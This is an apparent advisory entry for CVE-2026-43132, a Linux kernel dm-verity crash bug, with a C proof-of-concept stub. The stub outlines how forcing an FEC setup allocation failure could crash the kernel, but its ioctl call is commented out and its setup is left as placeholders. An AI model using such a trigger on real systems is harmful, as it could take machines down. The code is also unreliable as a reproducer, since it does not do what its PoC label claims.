CVE-2026-43132: Linux内核dm-verity崩溃漏洞

/* * PoC for CVE-2026-43132 * This code attempts to trigger the vulnerability by configuring a dm-verity device * with FEC parameters. Note: Triggering the specific failure condition * (dm_bufio_client_create failure) often requires specific memory pressure * or invalid configurations handled by the kernel. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <linux/dm-ioctl.h> #include <sys/ioctl.h> // Simplified pseudo-code to demonstrate the trigger logic // Actual exploitation requires valid device setup and interaction with device mapper. int main() { int fd = open("/dev/mapper/control", O_RDWR); if (fd < 0) { perror("Failed to open device mapper control"); return 1; } struct dm_ioctl *io; // ... (Setup dm_ioctl structure to create a device with verity and FEC) ... // The goal is to reach verity_fec_ctr where dm_bufio_client_create fails. // This might be simulated by exhausting memory or providing parameters // that cause internal allocation failures. printf("Attempting to configure dm-verity device to trigger the flaw...\n"); // ioctl(fd, DM_DEV_CREATE, io); // ... (FEC specific table load) ... // If successful in hitting the bug path, the kernel will crash. close(fd); return 0; }